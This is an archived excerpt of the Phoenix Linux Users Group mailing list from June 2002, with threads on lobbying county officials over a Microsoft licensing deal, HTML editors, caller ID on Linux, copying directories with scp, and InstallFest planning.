most of the local governments > start a new fiscal year, which means this June (now) they are ADOPTING > budgets (planned spending) for the upcoming fiscal year. Many of them = are > faced with the choice on whether to renew Microsoft's 'Enterprise > Agreement' stiff arm. > > I urge you to PLEASE PLEASE PLEASE contact your district council person > (maricopa county) and your city council people and simply ask them. > > a. Do they plan to approve funding for the Enterprise Agreement? > b. If they do plan to do so, please provide you with a copy of the > agreement and the dollar amount to be expended. > c. When they will be hearing from the public on the budget, so if they = are > adopting you can have your voice heard publicly. > > > It may sound funny but I can speak from REAL experience if a council > person gets as few as 10 requests that are similar a red flag will be > raised and they will grill their technology departments on it. > > I have contacted the Town of Gilbert and Maricopa County already to > recieve such information, I suggest others follow and use your power as= a > citizen to make a difference. We have no one to blame but ourselves if= we > dont start to take a stand. > > > I dont have town information but county information is as follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=3DdistrictMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County Administrat= or > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > > > > -Derek > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > 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Churches have similar budgetary constraints as schools. Therefore, they're a great place for Linux to expand its foothold with non-geeks. I'm agnostic, but as a Linux advocate, this looks like a perfect target market. On Sun, 9 Jun 2002, Dan Lund wrote: > This has *got* to be a joke.... > Reminiscent of Jesux... :) > > On Sunday 09 June 2002 12:05 pm, plug-discuss-request@lists.plug.phoenix.az.us > wrote: > > > Message: 1 > > Date: Sun, 9 Jun 2002 10:46:46 -0700 > > From: dennisk@sahuaro.f2s.com > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Linux for Christians > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, use > > Linux as a Christian and in a Christian organization. > > > > And then there is: > > > > http://www.christianlinux.com/ > > > > I wonder if the LWN Penguin Gallery has their version of Tux wearing a > > crusifix! > > > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:47:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 20:47:49 -0700 Subject: Typical InstallFest install - hope not!! Message-ID: <1023680869.3d042165def64@webmail.freedom2surf.net> My boss picked up a new Sony Vaio at the Sony Store in Chicago this week so I decided to do a Mandrake install a la InstallFest to see how long it might take. Since the computer has one 6Gb partition with ME installed Mandrake would have to shrink that to make room for Linux. Of course, you can install Mandrake in a folder on the Windows partition but who would want to do that? So, first thing I needed to defrag Windows. Two hours and several cross-linked files later I was able, finally, to boot the Mandrake CD. Even though there was 2.78Gb free space on the C: drive Mandrake could only recover 700Mb! The moral - If this is a typical install we'll run out of time and better have lots of Partition Magic CDs handy! Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 03:51:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 20:51:09 -0700 (PDT) Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: On Sun, 9 Jun 2002 dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. But I'm sure Saint is installed. ;-) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 9 20:55:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 13:55:55 -0700 Subject: Linux for Christians In-Reply-To: <1023679281.3d041b314530a@webmail.freedom2surf.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206091131.19740.voltage_spike@fastmail.fm> <1023679281.3d041b314530a@webmail.freedom2surf.net> Message-ID: <200206100356.XAA12693@hostinworld6.com> No but I'm sure NetSAINT IS installed. On 09 Jun 2002 20:21:21 -0700, dennisk@sahuaro.f2s.com wrote: > Quoting Voltage Spike : > > > -----BEGIN PGP SIGNED MESSAGE----- > > > I am very surprised to find that they are are not using Jesux > > (http://www.geocities.com/ResearchTriangle/Node/4081/). It even uses its > own > > > > BSD-style license, the Christian Software Public License. > > > > Check it out. ;-) > > > > - -- > > Voltage Spike > > ,,, > > And I bet Satan is NOT installed by default. > > Dennis > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:10:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sun, 9 Jun 2002 21:10:18 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206100102.VAA21006@hostinworld6.com> References: <200206100102.VAA21006@hostinworld6.com> Message-ID: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Quoting "Bryce C." : > Thank you all. I usually only do a few pages a month but this summer > I'm completely overhalling my website. I've trried Quanta before (I use > it for my PHP/HTML) but now I need something that I don't have to for it > to render. Something in the way of, GASP, M$ Frontpage. I will not use > it though because it's a piece of junk but that's the sort of WYSIWYG > I'm talking about. > > Thank You, > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > Sounds like a summer project - learning to code by hand.;-) A big problem with many WYSIWYG editors is that the resulting code is nearly impossible to "reverse engineer" and you are stuck using the product that created the site or you have to start from scratch each time. Try redesigning the site to be more hand-coding friendly, use templates where you can and maybe a macro to fill in the parts that change. Run the code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to catch the big mistakes. Learn to code by hand, you won't regret it. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:14:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) Subject: SonicWall and linux client In-Reply-To: <008801c21021$326bb580$6400a8c0@amd1000> Message-ID: Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:31:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:31:57 -0700 Subject: Linux for Christians In-Reply-To: <3D04124D.8000100@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <200206092132.00620.lists@ybnormal.org> If you want a distr aimed at whatever it is you believe or don't believe, program it, or get some like minded people to do it. The wars are more due to ignorence, not religion. On Sunday 09 June 2002 07:43 pm, Greg Furmanek wrote: > How about a linux distro specifically for non-christians? Buddists? > Muslims? Hindu? > > btw: why everything on this planet has to be about religion? Isn't > this why we have so > many wars? > > Greg > > dennisk@sahuaro.f2s.com wrote: > >Looking for something else on Google I stumbled on to The Linux for > > Christians site! http://thelinuxlink.net/l4c/ Here's what it says: > > > > This is a very new site dedicated to the Christian use of one of my > > favorite OS's, Linux! What you will see here (provided you keep coming > > back) is a repository of information pertaining to, how to, and why to, > > use Linux as a Christian and in a Christian organization. > > > >And then there is: > > > >http://www.christianlinux.com/ > > > >I wonder if the LWN Penguin Gallery has their version of Tux wearing a > >crusifix! > > > >Dennis > > > >------------------------------------------------- > >Everyone should have http://www.freedom2surf.net/ > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 04:45:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Sun, 9 Jun 2002 21:45:50 -0700 Subject: WYSIWYG Editor In-Reply-To: <1023682218.3d0426aa441e1@webmail.freedom2surf.net> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> Message-ID: <200206092145.52899.lists@ybnormal.org> And don't forget to use include files! On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > Quoting "Bryce C." : > > Thank you all. I usually only do a few pages a month but this summer > > I'm completely overhalling my website. I've trried Quanta before (I use > > it for my PHP/HTML) but now I need something that I don't have to for it > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > it though because it's a piece of junk but that's the sort of WYSIWYG > > I'm talking about. > > > > Thank You, > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > Sounds like a summer project - learning to code by hand.;-) > > A big problem with many WYSIWYG editors is that the resulting code is > nearly impossible to "reverse engineer" and you are stuck using the product > that created the site or you have to start from scratch each time. > > Try redesigning the site to be more hand-coding friendly, use templates > where you can and maybe a macro to fill in the parts that change. Run the > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > catch the big mistakes. > > Learn to code by hand, you won't regret it. > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:13:41 -0700 Subject: WYSIWYG Editor In-Reply-To: <200206092145.52899.lists@ybnormal.org> References: <200206100102.VAA21006@hostinworld6.com> <1023682218.3d0426aa441e1@webmail.freedom2surf.net> <200206092145.52899.lists@ybnormal.org> Message-ID: <200206100514.BAA04712@hostinworld6.com> My main mission is to create a template that's easy to change quickly and write a PHP backend to parse it. That is my summer project. Also, I've been coding HTML by hand for 6 years. I know it very well, not that there's all that much to know, but I know there are easier, linux based ways that I could possibly develope and post on the internet to help others learn. On 09 Jun 2002 21:45:50 -0700, Tom Achtenberg wrote: > And don't forget to use include files! > > On Sunday 09 June 2002 09:10 pm, dennisk@sahuaro.f2s.com wrote: > > Quoting "Bryce C." : > > > Thank you all. I usually only do a few pages a month but this summer > > > I'm completely overhalling my website. I've trried Quanta before (I use > > > it for my PHP/HTML) but now I need something that I don't have to for it > > > to render. Something in the way of, GASP, M$ Frontpage. I will not use > > > it though because it's a piece of junk but that's the sort of WYSIWYG > > > I'm talking about. > > > > > > Thank You, > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > Sounds like a summer project - learning to code by hand.;-) > > > > A big problem with many WYSIWYG editors is that the resulting code is > > nearly impossible to "reverse engineer" and you are stuck using the product > > that created the site or you have to start from scratch each time. > > > > Try redesigning the site to be more hand-coding friendly, use templates > > where you can and maybe a macro to fill in the parts that change. Run the > > code though HTML Tidy http://www.w3.org/People/Raggett/tidy/ frequently to > > catch the big mistakes. > > > > Learn to code by hand, you won't regret it. > > > > Dennis Kibbe > > > > ------------------------------------------------- > > Everyone should have http://www.freedom2surf.net/ > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Visit my home page at http://www.achtenberg.com > > Every DAY 24,000 people die of hunger related causes. 18,000 of these are > children. Find out how you can help at http://www.Christ4me.com > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 05:54:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 09 Jun 2002 22:54:32 -0700 Subject: OT: Please come forward Message-ID: <200206100555.BAA18201@hostinworld6.com> To whomever this may concern. A PLUG member and possible Chandler resident running KDE3.0.0-10 recently posted to my site's guestbook an NMAP of my web server. Please contact me explain the point of doing this and clicking submit twice. If you're unsure of who you are, you are IP: 68.15.176.161, Hostname: wsip68-15-176-161.ph.ph.cox.net. Please don't do this as it shows you're trying to prove something. My web server has no confidential data on it of mine and is located in Davie, Florida so I don't even maintain it. If you have concerns regarding its security, contact the host, Dellz.com. I don't pay much and I don't expecxt much. Thank You. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 06:51:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sun, 9 Jun 2002 23:51:49 -0700 (PDT) Subject: Typical InstallFest install - hope not!! In-Reply-To: <1023680869.3d042165def64@webmail.freedom2surf.net> Message-ID: <20020610065149.20038.qmail@web13901.mail.yahoo.com> When I first installed Mandrake 7.2, I did it on a partition on a windows 98 box. It had a 6.4GB HD, but I installed it on one of the 1.99 GB partition and I had to shove all I could into that space. It was being installed on a box running with a 233MHZ, and 64 MB RAM. This istallation took hours to do. I do not even know how long it really took, because after a few hours I went to bed, and when I woke in the morning I then changed CD's, then waited some more. Some of these installs can take a long time to complete. mike --- dennisk@sahuaro.f2s.com wrote: > > My boss picked up a new Sony Vaio at the Sony Store > in Chicago this week so I > decided to do a Mandrake install a la InstallFest to > see how long it might > take. > > Since the computer has one 6Gb partition with ME > installed Mandrake would have > to shrink that to make room for Linux. Of course, > you can install Mandrake in > a folder on the Windows partition but who would want > to do that? > > So, first thing I needed to defrag Windows. Two > hours and several cross-linked > files later I was able, finally, to boot the > Mandrake CD. Even though there > was 2.78Gb free space on the C: drive Mandrake could > only recover 700Mb! > > The moral - If this is a typical install we'll run > out of time and better have > lots of Partition Magic CDs handy! > > Dennis Kibbe > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 13:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 06:32:11 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> Message-ID: <15620.43611.959869.710388@magnitude.righthandgraphics.com> \_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: \_ \_ How about a linux distro specifically for non-christians? Buddists? \_ Muslims? Hindu? \_ \_ btw: why everything on this planet has to be about religion? Isn't \_ this why we have so \_ many wars? No, we have so many wars because of people using the wrong editor. Die infidel (emacs|vi) user, die! :-) http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 14:44:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 07:44:04 -0700 Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B458@mail.int.fh.org> Don't forget to contact you local school boards too!! -----Original Message----- From: Derek Neighbors [mailto:derek@gnue.org] Sent: Friday, June 07, 2002 4:20 PM To: 'plug-discuss@lists.plug.phoenix.az.us' Subject: Voice Your Opinion RE: Microsoft Enterprise Agreement If you want your government to stop using Microsoft Products now is the time to have your voice heard. It starts with local government. If you didnt know the State of Arizona budget is in the dumps, because all governments under them (read county and city) get large sums of money from the State they are hurting for money. It just so happens that this July is when most of the local governments start a new fiscal year, which means this June (now) they are ADOPTING budgets (planned spending) for the upcoming fiscal year. Many of them are faced with the choice on whether to renew Microsoft's 'Enterprise Agreement' stiff arm. I urge you to PLEASE PLEASE PLEASE contact your district council person (maricopa county) and your city council people and simply ask them. a. Do they plan to approve funding for the Enterprise Agreement? b. If they do plan to do so, please provide you with a copy of the agreement and the dollar amount to be expended. c. When they will be hearing from the public on the budget, so if they are adopting you can have your voice heard publicly. It may sound funny but I can speak from REAL experience if a council person gets as few as 10 requests that are similar a red flag will be raised and they will grill their technology departments on it. I have contacted the Town of Gilbert and Maricopa County already to recieve such information, I suggest others follow and use your power as a citizen to make a difference. We have no one to blame but ourselves if we dont start to take a stand. I dont have town information but county information is as follows: Map To Find Your Council Person http://www.maricopa.gov/county_glance/maps.asp?link=districtMap Council Contact Email Dist 1 Fulton Brock FBrock@mail.maricopa.gov Dist 2 Don Stapley DStapley@mail.maricopa.gov Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov Dist 4 Max Wilson mwwilson@mail.maricopa.gov Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov Also I would cc: the County Administrator and Deputy County Administrator CAO: David Smith DSmith@mail.maricopa.gov DCA: Sandi Wilson Swilson@mail.maricopa.gov -Derek ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 15:26:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Henry) Date: Mon, 10 Jun 2002 08:26:29 -0700 Subject: telephony Message-ID: Is there a way to set up Linux for caller I.D.? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Mon, 10 Jun 2002 09:00:19 -0700 (MST) Subject: telephony In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 CallerID is a feature of your modem, not the operating system. If your modem can report caller id, then it's a simple matter of reading a string from the serial port, or do a search on freshmeat; there's dozens of programs that will read it for you. --Nick On Mon, 10 Jun 2002, Mike Henry wrote: > Is there a way to set up Linux for caller I.D.? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: mmm... gpg is yummy... iD8DBQE9BM0Xv+hjYTGg7s4RAuNzAJ4lhZNsbJWcJw84zOetR9C8FFaCQwCghvyJ VpdhLBWEA6yZvs0H7tG19Ms= =OFmY -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:00:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 09:00:34 -0700 (MST) Subject: WYSIWYG Editor In-Reply-To: <200206100514.BAA04712@hostinworld6.com> Message-ID: My favorite HTML editor and one of the few things I use Windows for is HotMetal. HM gives you a "Tags On" view of your document so you can edit individual elements in a WYSIWYG manner, without any of the junque most other GUI editors stuff in. Wish there were an editor for Linux that worked that way. \\/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Mon, 10 Jun 2002 09:11:42 -0700 Subject: Caller ID (was telephony) References: Message-ID: <15620.53182.43040.796026@magnitude.righthandgraphics.com> \_ SMTP quoth Mike Henry on 6/10/2002 08:26 as having spake thusly: \_ \_ Is there a way to set up Linux for caller I.D.? 0) get cid from your provider 1) get a cid + linux compatible modem 2a) get one of the many cid apps (see sourceforge) 2b) roll your own with Device::Serial or direct ioctl calls 3) YMMV For instance, I've got my roll-your-own program sending jabber messages to me currently. :-) David From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:29:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 12:29:20 -0400 Subject: sftp Message-ID: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 16:43:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 09:43:07 -0700 Subject: Caller ID (was telephony) In-Reply-To: <15620.53182.43040.796026@magnitude.righthandgraphics.com> References: <15620.53182.43040.796026@magnitude.righthandgraphics.com> Message-ID: <200206100943.07646@granroth.org> On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > 0) get cid from your provider > 1) get a cid + linux compatible modem > 2a) get one of the many cid apps (see sourceforge) > 2b) roll your own with Device::Serial or direct ioctl calls > 3) YMMV > > For instance, I've got my roll-your-own program sending jabber > messages to me currently. :-) On a related topic, does anybody know if any of the cid programs for Linux support logging the call time? I'm trying to figure out a way to count up the total number of minutes that my phone is in use (incoming and outgoing; local and long distance) and Qwest won't give me that info without a subpoena. Now I know that my modem can get the CID info without answering the phone, but can it figure out how long the phone is active? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Mon, 10 Jun 2002 10:00:04 -0700 Subject: sftp In-Reply-To: Carl Parrish "sftp" (Jun 10, 12:29pm) References: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <1020610170003.ZM14770@localhost.localdomain> On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:09:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 10 Jun 2002 10:09:17 -0700 (MST) Subject: sftp In-Reply-To: <20020610162920.GZCW8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: Carl, try this: scp -rp from.this.host.com:/path/to/dir /path/to/destination -r recursive -p preserve permissions (if you need it) In a second terminal window, keep a connection open to the source host so you can ls the dirs you need. - tom e. -------------------------------------------------------- Does anyone know of an application that gives you an ncftp "like" interface to sftp? I need to move a *lot* of directories and so far haven't figured out an easy way to do this with sftp. Thanks all, Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:12:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 10 Jun 2002 12:12:15 -0500 (CDT) Subject: Caller ID (was telephony) In-Reply-To: <200206100943.07646@granroth.org> Message-ID: Kurt, If you are willing to get a telephony card you can do some pretty incredible stuff with GNUe Bayonne. http://www.gnu.org/software/bayonne/ Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org On Mon, 10 Jun 2002, Kurt Granroth wrote: > On Monday 10 June 2002 09:11 am, David A. Sinck wrote: > > 0) get cid from your provider > > 1) get a cid + linux compatible modem > > 2a) get one of the many cid apps (see sourceforge) > > 2b) roll your own with Device::Serial or direct ioctl calls > > 3) YMMV > > > > For instance, I've got my roll-your-own program sending jabber > > messages to me currently. :-) > > On a related topic, does anybody know if any of the cid programs for Linux > support logging the call time? I'm trying to figure out a way to count up > the total number of minutes that my phone is in use (incoming and outgoing; > local and long distance) and Qwest won't give me that info without a > subpoena. Now I know that my modem can get the CID info without answering > the phone, but can it figure out how long the phone is active? > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 10 Jun 2002 10:16:46 -0700 Subject: Install Fest Question Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B73A@azmscorp01.corp.azms> All, Is there going to be a distribution that is going to be recommended at the install fest over another? I am sure everyone has their favorites just didn't know if there was going to be a standard. Thanks. -Larry From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 10 Jun 2002 13:24:00 -0400 Subject: sftp Message-ID: <20020610172400.IWLO4796.lakemtao08.cox.net@smtp.central.cox.net> Kevin when you tar a file does it create a copy or does it effect the original? The directories I need to more are on a semi public box and will be in use during the transfer. Carl P. ============================================================ From: Kevin Buettner Date: 2002/06/10 Mon PM 01:00:04 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: sftp On Jun 10, 12:29pm, Carl Parrish wrote: > Does anyone know of an application that gives you an ncftp "like" > interface to sftp? I need to move a *lot* of directories and so far > haven't figured out an easy way to do this with sftp. I know it's not the answer you were hoping for, but have you considered creating a tarball on the source machine, copying it with scp (or sftp) and then untarring it on the destination machine? If the directories that you're copying are all within the same hierarchy, you could also use "scp -r -p" too. (I still think transferring an archive will be faster though.) Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 17:16:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 10 Jun 2002 10:16:51 -0700 Subject: InstallFest -- Status 2002-06-10 Message-ID: <01C21067.F09B9840.wlindley@wlindley.com> Status as of Monday morning. Added volunteers, and tentative presentation times. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. See also: http://www.plugpresents.com/installfest Here's who has the pumpkins... i.e., who is handling what. Please reply off-list if you can fill any of these slots, see anything overlooked, or with any additions or corrections. ------------------------------- SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ Robert Ambrose Alan Robert A.Klahn Mandrake: ______ KevinO Virgil Silhanek W.Lindley Debian: ______ ______ 